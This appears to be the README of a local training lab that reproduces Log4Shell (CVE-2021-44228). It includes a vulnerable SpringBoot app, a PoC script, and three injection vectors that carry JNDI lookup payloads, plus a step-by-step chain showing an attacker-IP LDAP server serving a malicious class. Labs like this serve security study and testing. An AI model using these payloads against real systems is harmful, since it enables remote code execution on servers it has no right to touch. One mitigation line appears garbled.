
CVE-2021-44228 (Log4Shell) 漏洞复现靶场 | SpringBoot + Log4j2 2.14.1 | 3 个攻击向量 PoC 验证
⚠️ Disclaimer: This project is intended for security learning and technical research only. All vulnerability environments are set up locally, and no real targets have been tested. Do not use it for illegal purposes. The risk of using this project is borne by the user.
Log4j2 is the most widely used logging framework in the Java ecosystem. It has a Lookup feature that allows inserting dynamic content into logs using the ${...} syntax. In versions 2.14.1 and below, when log content contains ${jndi:...}, Log4j2 automatically initiates a JNDI request to the specified address, allowing attackers to achieve remote code execution (RCE).
This vulnerability is assigned CVE-2021-44228, with a CVSS score of 10.0 (maximum). The trigger condition is extremely simple, it affects almost all Java applications using Log4j2, and the exploitation cost is very low.
Prerequisites: JDK 8+, Maven, Python 3, requests library
Step 1: Start the vulnerable lab
Open the project with IDEA and run VulnApplication.java. The following output indicates successful startup:
Tomcat started on port(s): 8080 (http)
Started VulnApplication in 1.1 seconds
Step 2: Run the PoC script
cd exploit
pip install requests
python exploit.py
${jndi:ldap://127.0.0.1:1389/EvilClass}
Inject the payload via URL parameters to trigger logger.info("User Login: {}", username):
r = requests.get(f"{target_url}/login", params={"username": payload}, timeout=5)
Inject the payload via HTTP request headers to trigger logger.info("User-Agent: {}", headers):
r = requests.get(f"{target_url}/api/headers", headers={"User-Agent": payload}, timeout=5)
Inject the payload via the POST request body to trigger logger.info("Data: {}", body):
r = requests.post(f"{target_url}/api/data", data=payload, timeout=5)
[+] Connection received! From 127.0.0.1:51631
[+] Vulnerability confirmed! Log4j2 initiated a JNDI request
[+] CVE-2021-44228 reproduction successful
The listener received a TCP connection from the lab, indicating that Log4j2 parsed ${jndi:...} and initiated an LDAP request, confirming the vulnerability exists.
Log4j2's Lookup feature allows inserting dynamic content into logs using the ${...} syntax, such as ${env:PATH} to read environment variables and ${sys:user.dir} to read system properties.
JNDI (Java Naming and Directory Interface) is Java's naming and directory interface. Given an address, it looks up and returns the result. If the returned result is a Java class, the JVM automatically loads and executes it.
① Attacker enters in the input field: ${jndi:ldap://attacker-IP:1389/EvilClass}
↓
② The website receives the input and logs it with logger.info()
↓
③ Log4j2 parses the log content and detects ${jndi:ldap://...}
↓
④ Log4j2 initiates an LDAP request → connects to the attacker's server
↓
⑤ The attacker's LDAP server responds: "Download EvilClass.class from this address"
↓
⑥ The victim server downloads and loads the EvilClass class
↓
⑦ EvilClass's static code block executes automatically → RCE (Remote Code Execution)
-Dlog4j2.formatMsgNoLookups=true to startup parameters${jndi:log4j2-vuln-lab/
├── pom.xml # Maven configuration, specifies vulnerable Log4j2 2.14.1 version
├── exploit/
│ └── exploit.py # PoC exploitation script, 3 attack vectors + TCP listener verification
└── src/main/
├── java/com/vuln/log4j/
│ ├── VulnApplication.java # SpringBoot startup class
│ └── controller/
│ └── UserController.java # 3 vulnerability injection points (GET param/UA header/POST body)
└── resources/
├── application.yml # Port number + log level configuration
└── log4j2.xml # Log4j2 configuration file